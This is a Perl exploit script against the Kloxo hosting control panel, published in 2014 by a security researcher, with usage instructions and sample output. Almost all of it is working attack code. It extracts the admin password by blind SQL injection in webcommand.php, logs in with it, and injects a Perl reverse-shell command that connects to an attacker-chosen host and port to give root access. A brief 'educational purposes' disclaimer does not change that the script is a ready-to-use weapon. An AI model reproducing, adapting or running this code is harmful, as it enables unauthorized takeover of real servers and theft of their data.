#!/usr/bin/perl # # Title: Kloxo remote root exploit # Author: Simo Ben youssef # Contact: Simo_at_Morxploit_com # Coded: 28 January 2014 # Published: 26 February 2014 # MorXploit Research # http://www.MorXploit.com # # Download: # http://www.morxploit.com/morxploits/morxkloxo.pl # # Requires LWP::UserAgent # apt-get install libwww-perl # yum install libwww-perl # perl -MCPAN -e 'install Bundle::LWP' # For SSL support: # apt-get install liblwp-protocol-https-perl # yum install perl-Crypt-SSLeay # # Tested on CentOS 5.8 and 5.9 # Should work on CentOS/RHEL 5.x # # Author disclaimer: # The information contained in this entire document is for educational, demonstration and testing purposes only. # Author cannot be held responsible for any malicious use. Use at your own risk. # # perl morxkloxo.pl http://******.com:7778 **.**.**.** 31337 # # =================================================== # --- Kloxo remote root exploit # --- By: Simo Ben youssef <simo_at_morxploit_com> # --- MorXploit Research www.MorXploit.com # =================================================== # [*] MorXploiting http://******.com:7778 # [*] It might take a little while, so sit your ass down and relax # [+] Base64 pwd: bW9yeHBsb2l0 # [+] Got admin password: morxploit # [*] Logging in ... # [+] Successfully logged in! # [*] Trying to get server info # [+] Done! # [*] Trying to inject connect back shell # [+] Looks good, now waiting for root shell # [+] Et voila you are in! # # Linux ******.com 2.6.18-308.8.2.el5.028stab101.1PAE #1 SMP Sun Jun 24 21:40:20 MSD 2012 i686 i686 i386 GNU/Linux # uid=0(root) gid=0(root) use LWP::UserAgent; use IO::Socket; use strict; use MIME::Base64; sub banner { system('clear'); print "===================================================\n"; print "--- Kloxo remote root exploit\n"; print "--- By: Simo Ben youssef <simo_at_morxploit_com>\n"; print "--- MorXploit Research www.MorXploit.com\n"; print "===================================================\n"; } if (!defined ($ARGV[0] && $ARGV[1] && $ARGV[2])) { banner(); print "perl $0 <target> <connectbackIP> <connectbackport> <verbose>\n"; print "perl $0 http://localhost:7778 127.0.0.1 31337\n"; exit; } my $host = $ARGV[0]; my $cbhost = $ARGV[1]; my $cbport = $ARGV[2]; my $v = $ARGV[3]; my $pos = "8"; my $start = "48"; my $ends = "122"; my $password; my $char; my $cookie; my $decoded; my $class; my $lhost; $| = 1; $SIG{CHLD} = 'IGNORE'; my $l_sock = IO::Socket::INET->new( Proto => "tcp", LocalPort => "$cbport", Listen => 1, LocalAddr => "0.0.0.0", Reuse => 1, ) or die "[-] Could not listen on $cbport: $!\n"; my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); $ua->timeout(10); my $up = $ua->get("$host"); unless ($up->is_success) { print "[-] Error: " . $up->status_line . "\n"; exit; } banner(); print "[*] Verbose mode on!\n" if (defined $v); print "[*] MorXploiting $host\n"; print "[*] It might take a little while, so sit your ass down and relax\n"; my $check = "lbin/webcommand.php"; my $kloxo = $ua->get("$host/$check"); unless ($kloxo->decoded_content =~ /__error_only_clients_and_auxiliary_allowed_to_login/) { print "[-] Doesn't seem like $host is running kloxo\n"; exit; } while ($pos) { for(my $count=$start;$count<=$ends;$count++) { if (($count > 57) && ($count < 61) || ($count > 90) && ($count < 97)) { next; } my $query = "lbin/webcommand.php?login-class=client&login-name=a%27%20union%20select%20%27%241%24Tw5.g72.%24/0X4oceEHjGOgJB/fqRww/%27%20from%20client%20where%20ascii%28substring%28%28%20select%20realpass%20from%20client%20limit%201%29%2c$pos%2c1%29%29%3d$count%23&login-password=123456"; my $page = $ua->get("$host/$query"); print "\r[*] Trying char/position: $count/$pos" if (defined $v); if (($page->is_success) && ($page->decoded_content =~ /^\s*$/)) { $char = chr($count); $password .= $char; print "\n" if (defined $v); print "\r[+] Base64 pwd: $password"; sleep (2) if (defined $v); last; } } my $passlength = length($password); my $charlength = ($pos - 7); if (($passlength < $charlength) && ($passlength != 0)) { $decoded = decode_base64($password); print "\n[+] Got admin password: $decoded\n"; last; } elsif ($passlength == 0) { print "\n[-] Failed, probably not vulnerable\n"; exit; } $pos++ } print "[*] Logging in ...\n"; my $kloxo = $ua->post("$host/htmllib/phplib/",[ "frm_clientname"=> "admin", "frm_password"=> "$decoded", "login" => "Login" ] ); if ($kloxo->as_string =~ /Set-Cookie: kloxo-session-id=(.*?);/) { print "[+] Successfully logged in!\n"; $cookie = $1; } else { print "[-] Couldn't log in\n"; exit; } print "[*] Trying to get server info\n"; my $getinfo = $ua->get("$host/display.php?frm_action=show", 'Cookie' => "kloxo-clientname=admin; kloxo-classname=client; kloxo-session-id=$cookie"); if ($getinfo->decoded_content =~ /commandcenter">(.*?)">/s) { my $pserver = $1; $pserver =~ /value =\"(.*)/; $class = $1; } else { print "[-] Couldn't get info, trying default settings\n"; $class = "pserver"; } if ($getinfo->decoded_content =~ /name="frm_o_o\[0\]\[class\]" value ="$class">(.*?)">/s) { my $nname = $1; $nname =~ /value =\"(.*)/; $lhost = $1; } else { print "[-] Couldn't get info, trying default settings\n"; $lhost = "localhost"; } print "[+] Done!\n"; my $ua2 = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); $ua2->timeout(10); print "[*] Trying to inject connect back shell\n"; my $inject = $ua2->post("$host/display.php", Content_Type => 'form-data', Cookie => "kloxo-clientname=admin; kloxo-classname=client; kloxo-session-id=$cookie", Content => [ 'frm_o_o[0][class]' => "$class", 'frm_o_o[0][nname]' => "$lhost", 'frm_pserver_c_ccenter_command' => "perl -MIO -e '\$p=fork;exit,if(\$p); use Socket; use FileHandle; my \$system = \"/bin/sh\"; my \$host = \"$cbhost\"; my \$port = \"$cbport\";socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname(\"tcp\")); connect(SOCKET, sockaddr_in(\$port, inet_aton(\$host))); SOCKET->autoflush(); open(STDIN, \">&SOCKET\"); open(STDOUT,\">&SOCKET\"); open(STDERR,\">&SOCKET\"); print \"[+] Et voila you are in!\\n\\n\"; system(\"uname -a;id\"); system(\$system);'", 'frm_action' => 'updateform', 'frm_subaction' => 'commandcenter', 'frm_change' => 'Execute', ], ); unless ($inject->as_string =~ /200 OK/) { print "[-] Something went wrong\n"; exit; } print "[+] Looks good, now waiting for root shell\n"; my $a_sock = $l_sock->accept(); $l_sock->shutdown(SHUT_RDWR); copy_data_bidi($a_sock); sub copy_data_bidi { my ($socket) = @_; my $child_pid = fork(); if (! $child_pid) { close(STDIN); copy_data_mono($socket, *STDOUT); $socket->shutdown(SHUT_RD); exit(); } else { close(STDOUT); copy_data_mono(*STDIN, $socket); $socket->shutdown(SHUT_WR); kill("TERM", $child_pid); } } sub copy_data_mono { my ($src, $dst) = @_; my $buf; while (my $read_len = sysread($src, $buf, 4096)) { my $write_len = $read_len; while ($write_len) { my $written_len = syswrite($dst, $buf); return unless $written_len; $write_len -= $written_len; } } }